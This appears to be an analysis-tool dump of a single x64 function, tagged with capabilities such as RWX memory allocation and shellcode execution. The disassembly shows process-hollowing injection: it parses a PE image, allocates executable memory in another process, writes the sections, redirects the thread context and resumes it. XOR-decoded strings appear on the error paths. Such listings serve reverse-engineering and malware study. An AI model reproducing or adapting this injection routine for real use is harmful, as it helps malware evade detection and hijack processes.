Function at 0x1800c5740
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x60], xmm4
xor eax, eax
mov qword [rbp - 0x50], rax
mov rbx, rcx
mov rsi, qword [rbx + 0x10]
mov rax, rsi
cmp word [rax], 0x5a4d
jne 0x1800c578c
movsxd rcx, dword [rax + 0x3c]
cmp word [rsi + rcx + 0x18], 0x20b
sete cl
movzx ecx, cl
jmp 0x1800c578e
xor ecx, ecx
mov byte [0x1801847bc], cl
xor edi, edi
xor r14d, r14d
cmp byte [0x1801847bc], 0
je 0x1800c57ab
movsxd r14, dword [rax + 0x3c]
add r14, rsi
jmp 0x1800c57b6
movsxd rdi, dword [rax + 0x3c]
add rdi, rsi
mov eax, dword [rdi]
jmp 0x1800c57b9
mov eax, dword [r14]
cmp eax, 0x4550
jne 0x1800c61e5
call fcn.1800e2a90
mov ecx, 0x60
mov edx, 0x40
cmp eax, 8
cmovne ecx, edx
call fcn.1800c6340
mov rsi, rax
call fcn.1800e2a90
mov ecx, 0x18
mov edx, 0x10
cmp eax, 8
cmovne ecx, edx
movsxd rcx, ecx
call fcn.1800b2000
mov qword [rbp - 0x40], rax
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbx + 8]
lea rdx, [0x1800ea0d4]
xor r8d, r8d
xor r9d, r9d
call fcn.1800c6690
test eax, eax
je 0x1800c5bd2
test rsi, 0xffffffffffff0000
je 0x1800c5877
mov rcx, rsi
mov qword [rbp - 0x70], rcx
lea rcx, [rbp - 0xa0]
call fcn.180001ee0
mov rcx, qword [rbp - 0x70]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xa0]
call fcn.180001f30
cmp byte [0x1801847bc], 0
jne 0x1800c60fd
mov esi, dword [rdi + 0x34]
mov rax, qword [rbp - 0x40]
mov r15, qword [rax]
mov r13, rax
call fcn.1800e2a90
cmp eax, 8
je 0x1800c6106
mov ecx, 4
movsxd rcx, ecx
mov r13, qword [rcx + r13]
mov rcx, r15
mov rdx, rsi
call fcn.1800c6870
test r15, r15
je 0x1800c6042
test r13, r13
je 0x1800c6042
movzx ecx, byte [0x1801847bc]
test ecx, ecx
jne 0x1800c6110
mov r8d, dword [rdi + 0x50]
test ecx, ecx
jne 0x1800c6119
mov r12d, dword [rdi + 0x54]
test ecx, ecx
jne 0x1800c6122
movzx edx, word [rdi + 6]
movzx eax, dx
mov dword [rbp - 0x44], eax
test ecx, ecx
jne 0x1800c612c
mov r10d, dword [rdi + 0x28]
mov dword [rbp - 0x48], r10d
mov dword [rsp + 0x20], 0x40
mov rcx, r15
mov qword [rbp - 0x70], rcx
mov rdx, rsi
mov qword [rbp - 0x78], rdx
mov dword [rbp - 0x64], r8d
mov r9d, 0x3000
mov dword [rbp - 0x68], r9d
lea rcx, [rbp - 0xa0]
call fcn.180001ee0
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x78]
mov r8d, dword [rbp - 0x64]
mov r9d, dword [rbp - 0x68]
call sub.KERNEL32.dll_VirtualAllocEx
mov rbx, rax
lea rcx, [rbp - 0xa0]
call fcn.180001f30
mov rsi, qword [rbp + 0x10]
mov r8, qword [rsi + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
mov rdx, rbx
mov r9d, r12d
call fcn.1800c68e0
add r14, 0x108
add rdi, 0xf8
cmp byte [0x1801847bc], 0
cmove r14, rdi
xor edi, edi
mov r12d, dword [rbp - 0x44]
test r12d, r12d
jle 0x1800c59e4
mov edx, dword [r14 + 0xc]
add rdx, rbx
mov r8, qword [rsi + 0x10]
mov ecx, dword [r14 + 0x14]
add r8, rcx
mov r9d, dword [r14 + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.1800c68e0
test eax, eax
jne 0x1800c5f81
add r14, 0x28
inc edi
cmp edi, r12d
jl 0x1800c59a5
mov ecx, 0x4d0
mov eax, 0x2cc
cmp byte [0x1801847bc], 0
cmove ecx, eax
movsxd rcx, ecx
call fcn.1800b2000
mov rsi, rax
cmp byte [0x1801847bc], 0
je 0x1800c6135
mov dword [rsi + 0x30], 0x10001b
cmp byte [0x1801847bc], 0
jne 0x1800c6140
mov rcx, r13
mov rdx, rsi
call fcn.1800c67f0
test eax, eax
je 0x1800c5ec6
mov edi, dword [rsi + 0xa4]
mov r14, qword [rsi + 0x88]
mov rcx, rbx
call fcn.1800835a0
cmp byte [0x1801847bc], 0
jne 0x1800c6158
add edi, 8
movsxd rdx, edi
mov r9d, dword [rax + 8]
xor ecx, ecx
mov qword [rbp - 0x60], rcx
mov dword [rbp - 0x50], ecx
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp - 0x60]
cmp dword [rcx + 8], 0
jne 0x1800c6161
xor r8d, r8d
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.1800c68e0
xor ecx, ecx
test eax, eax
sete cl
xor edx, edx
mov qword [rbp - 0x60], rdx
test ecx, ecx
je 0x1800c5d4e
cmp byte [0x1801847bc], 0
je 0x1800c617d
mov ecx, dword [rbp - 0x48]
add rcx, rbx
mov qword [rsi + 0x80], rcx
cmp byte [0x1801847bc], 0
jne 0x1800c618f
mov rcx, r13
mov rdx, rsi
call fcn.1800c6450
test eax, eax
je 0x1800c5c8f
mov rcx, r13
mov qword [rbp - 0x78], rcx
lea rcx, [rbp - 0xa0]
call fcn.180001ee0
mov rcx, qword [rbp - 0x78]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xa0]
call fcn.180001f30
mov qword [rbp - 0x58], r15
jmp 0x1800c61c4
lea rcx, [0x180100e08]
call fcn.1800026b0
mov rbx, rax
mov rcx, rbx
mov edx, 0x1c
mov r8d, 0x7fffffff
call fcn.18009ed20
lea rsi, [0x1800f782c]
xor edi, edi
mov eax, edi
lea rdx, [0x1800eac04]
movzx ecx, word [rdx + rax*2 + 0xc]
mov edx, 0x92492493
mov eax, edx
imul edi
add edx, edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add eax, edx
imul eax, eax, 0x1c
mov edx, edi
sub edx, eax
cmp edx, 0x1c
jae 0x1800c5bcd
mov edx, 0x92492493
mov eax, edx
imul edi
add edx, edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add edx, eax
imul edx, edx, 0x1c
mov eax, edi
sub eax, edx
mov edx, eax
movzx edx, word [rsi + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.18009f310
inc edi
cmp edi, 0x1c
jl 0x1800c5b3d
mov rcx, rbx
call fcn.18009ede0
mov rbx, rax
lea rcx, [0x1800fd360]
call fcn.1800026b0
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180081a30
mov rcx, rsi
call fcn.1800029b0
call fcn.1800b76e0
lea rcx, [0x180100e08]
call fcn.1800026b0
mov rbx, rax
mov rcx, rbx
mov edx, 0x18
mov r8d, 0x7fffffff
call fcn.18009ed20
lea rsi, [0x1800f6684]
xor edi, edi
mov eax, edi
lea rdx, [0x1800ea6a4]
movzx ecx, word [rdx + rax*2 + 0xc]
mov edx, 0x2aaaaaab
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 2
add eax, edx
lea eax, [rax + rax*2]
shl eax, 3
mov edx, edi
sub edx, eax
cmp edx, 0x18
jae 0x1800c5bcd
mov edx, 0x2aaaaaab
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 2
add edx, eax
lea edx, [rdx + rdx*2]
shl edx, 3
mov eax, edi
sub eax, edx
mov edx, eax
movzx edx, word [rsi + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.18009f310
inc edi
cmp edi, 0x18
jl 0x1800c5bfd
mov rcx, rbx
call fcn.18009ede0
mov rbx, rax
lea rcx, [0x1800fd360]
call fcn.1800026b0
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180081a30
mov rcx, rsi
call fcn.1800029b0
lea rcx, [0x180100e08]
call fcn.1800026b0
mov rbx, rax
mov rcx, rbx
mov edx, 0x1c
mov r8d, 0x7fffffff
call fcn.18009ed20
lea rsi, [0x1800f94cc]
xor edi, edi
mov eax, edi
lea rdx, [0x1800ec5ac]
movzx ecx, word [rdx + rax*2 + 0xc]
mov edx, 0x92492493
mov eax, edx
imul edi
add edx, edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add eax, edx
imul eax, eax, 0x1c
mov edx, edi
sub edx, eax
cmp edx, 0x1c
jae 0x1800c5bcd
mov edx, 0x92492493
mov eax, edx
imul edi
add edx, edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add edx, eax
imul edx, edx, 0x1c
mov eax, edi
sub eax, edx
mov edx, eax
movzx edx, word [rsi + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.18009f310
inc edi
cmp edi, 0x1c
jl 0x1800c5cba
mov rcx, rbx
call fcn.18009ede0
mov rbx, rax
lea rcx, [0x1800fd360]
call fcn.1800026b0
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180081a30
mov rcx, rsi
call fcn.1800029b0
lea rcx, [0x180100e08]
call fcn.1800026b0
mov rbx, rax
mov rcx, rbx
mov edx, 0x37
mov r8d, 0x7fffffff
call fcn.18009ed20
lea rsi, [0x1800f7eec]
xor edi, edi
mov eax, edi
lea rdx, [0x1800eba44]
movzx ecx, word [rdx + rax*2 + 0xc]
mov edx, 0x94f2095
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 1
add eax, edx
imul eax, eax, 0x37
mov edx, edi
sub edx, eax
cmp edx, 0x37
jae 0x1800c5bcd
mov edx, 0x94f2095
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 1
add edx, eax
imul edx, edx, 0x37
mov eax, edi
sub eax, edx
mov edx, eax
movzx edx, word [rsi + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.18009f310
inc edi
cmp edi, 0x37
jl 0x1800c5d79
mov rcx, rbx
call fcn.18009ede0
mov rbx, rax
lea rcx, [0x1800fd360]
call fcn.1800026b0
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180081a30
mov rcx, rsi
call fcn.1800029b0
lea rcx, [0x180100e08]
call fcn.1800026b0
mov rbx, rax
mov rcx, rbx
mov edx, 0x2d
mov r8d, 0x7fffffff
call fcn.18009ed20
lea rsi, [0x1800f127c]
xor edi, edi
mov eax, edi
lea rdx, [0x1800ea134]
movzx ecx, word [rdx + rax*2 + 0xc]
mov edx, 0xb60b60b7
mov eax, edx
imul edi
add edx, edi
mov eax, edx
shr eax, 0x1f
sar edx, 5
add eax, edx
imul eax, eax, 0x2d
mov edx, edi
sub edx, eax
cmp edx, 0x2d
jae 0x1800c5bcd
mov edx, 0xb60b60b7
mov eax, edx
imul edi
add edx, edi
mov eax, edx
shr eax, 0x1f
sar edx, 5
add edx, eax
imul edx, edx, 0x2d
mov eax, edi
sub eax, edx
mov edx, eax
movzx edx, word [rsi + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.18009f310
inc edi
cmp edi, 0x2d
jl 0x1800c5e32
mov rcx, rbx
call fcn.18009ede0
mov rbx, rax
lea rcx, [0x1800fd360]
call fcn.1800026b0
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180081a30
mov rcx, rsi
call fcn.1800029b0
lea rcx, [0x180100e08]
call fcn.1800026b0
mov rbx, rax
mov rcx, rbx
mov edx, 0x32
mov r8d, 0x7fffffff
call fcn.18009ed20
lea rsi, [0x1800f92cc]
xor edi, edi
mov eax, edi
lea rdx, [0x1800ebf1c]
movzx ecx, word [rdx + rax*2 + 0xc]
mov edx, 0x51eb851f
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add eax, edx
imul eax, eax, 0x32
mov edx, edi
sub edx, eax
cmp edx, 0x32
jae 0x1800c5bcd
mov edx, 0x51eb851f
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add edx, eax
imul edx, edx, 0x32
mov eax, edi
sub eax, edx
mov edx, eax
movzx edx, word [rsi + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.18009f310
inc edi
cmp edi, 0x32
jl 0x1800c5ef1
mov rcx, rbx
call fcn.18009ede0
mov rbx, rax
lea rcx, [0x1800fd360]
call fcn.1800026b0
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180081a30
mov rcx, rsi
call fcn.1800029b0
lea rcx, [0x180100e08]
call fcn.1800026b0
mov rbx, rax
mov rcx, rbx
mov edx, 0x28
mov r8d, 0x7fffffff
call fcn.18009ed20
lea rsi, [0x1800f14fc]
xor edi, edi
mov eax, edi
lea rdx, [0x1800ea1a4]
movzx ecx, word [rdx + rax*2 + 0xc]
mov edx, 0x66666667
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add eax, edx
lea eax, [rax + rax*4]
shl eax, 3
mov edx, edi
sub edx, eax
cmp edx, 0x28
jae 0x1800c5bcd
mov edx, 0x66666667
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add edx, eax
lea edx, [rdx + rdx*4]
shl edx, 3
mov eax, edi
sub eax, edx
mov edx, eax
movzx edx, word [rsi + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.18009f310
inc edi
cmp edi, 0x28
jl 0x1800c5fac
mov rcx, rbx
call fcn.18009ede0
mov rbx, rax
lea rcx, [0x1800fd360]
call fcn.1800026b0
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180081a30
mov rcx, rsi
call fcn.1800029b0
lea rcx, [0x180100e08]
call fcn.1800026b0
mov rbx, rax
mov rcx, rbx
mov edx, 0x26
mov r8d, 0x7fffffff
call fcn.18009ed20
lea rsi, [0x1800f3324]
xor edi, edi
mov eax, edi
lea rdx, [0x1800ea63c]
movzx ecx, word [rdx + rax*2 + 0xc]
mov edx, 0x6bca1af3
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add eax, edx
imul eax, eax, 0x26
mov edx, edi
sub edx, eax
cmp edx, 0x26
jae 0x1800c5bcd
mov edx, 0x6bca1af3
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 4
add edx, eax
imul edx, edx, 0x26
mov eax, edi
sub eax, edx
mov edx, eax
movzx edx, word [rsi + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.18009f310
inc edi
cmp edi, 0x26
jl 0x1800c606d
mov rcx, rbx
call fcn.18009ede0
mov rbx, rax
lea rcx, [0x1800fd360]
call fcn.1800026b0
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180081a30
mov rcx, rsi
call fcn.1800029b0
mov rsi, qword [r14 + 0x30]
jmp 0x1800c5887
mov ecx, 8
jmp 0x1800c58a4
mov r8d, dword [r14 + 0x50]
jmp 0x1800c58db
mov r12d, dword [r14 + 0x54]
jmp 0x1800c58e7
movzx edx, word [r14 + 6]
jmp 0x1800c58f3
mov r10d, dword [r14 + 0x28]
jmp 0x1800c5905
mov dword [rsi], 0x10002
jmp 0x1800c5a17
mov rcx, r13
mov rdx, rsi
call fcn.1800c6790
test eax, eax
je 0x1800c5e07
jmp 0x1800c5a37
lea rdx, [r14 + 0x10]
jmp 0x1800c5a5f
mov r8, qword [rbp - 0x60]
cmp dword [r8 + 8], 0
jbe 0x1800c5bcd
mov r8, qword [rbp - 0x60]
add r8, 0x10
jmp 0x1800c5a81
mov ecx, dword [rbp - 0x48]
add rcx, rbx
mov qword [rsi + 0xb0], rcx
jmp 0x1800c5ac1
mov rcx, r13
mov rdx, rsi
call fcn.1800c63f0
test eax, eax
je 0x1800c5b12
jmp 0x1800c5ae1
mov rcx, rsp
call fcn.1800c62ff
nop
mov rax, qword [rbp - 0x58]
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x180100e08]
call fcn.1800026b0
mov rbx, rax
mov rcx, rbx
mov edx, 0x14
mov r8d, 0x7fffffff
call fcn.18009ed20
lea rsi, [0x1800f609c]
xor edi, edi
mov eax, edi
lea rdx, [0x1800eaac4]
movzx ecx, word [rdx + rax*2 + 0xc]
mov edx, 0x66666667
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 3
add eax, edx
lea eax, [rax + rax*4]
shl eax, 2
mov edx, edi
sub edx, eax
cmp edx, 0x14
jae 0x1800c62a9
mov edx, 0x66666667
mov eax, edx
imul edi
mov eax, edx
shr eax, 0x1f
sar edx, 3
add edx, eax
lea edx, [rdx + rdx*4]
shl edx, 2
mov eax, edi
sub eax, edx
mov edx, eax
movzx edx, word [rsi + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.18009f310
inc edi
cmp edi, 0x14
jl 0x1800c6210
mov rcx, rbx
call fcn.18009ede0
mov rbx, rax
lea rcx, [0x1800fd360]
call fcn.1800026b0
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180081a30
mov rcx, rsi
call fcn.1800029b0
xor eax, eax
jmp 0x1800c61d1
call fcn.1800b76e0
int3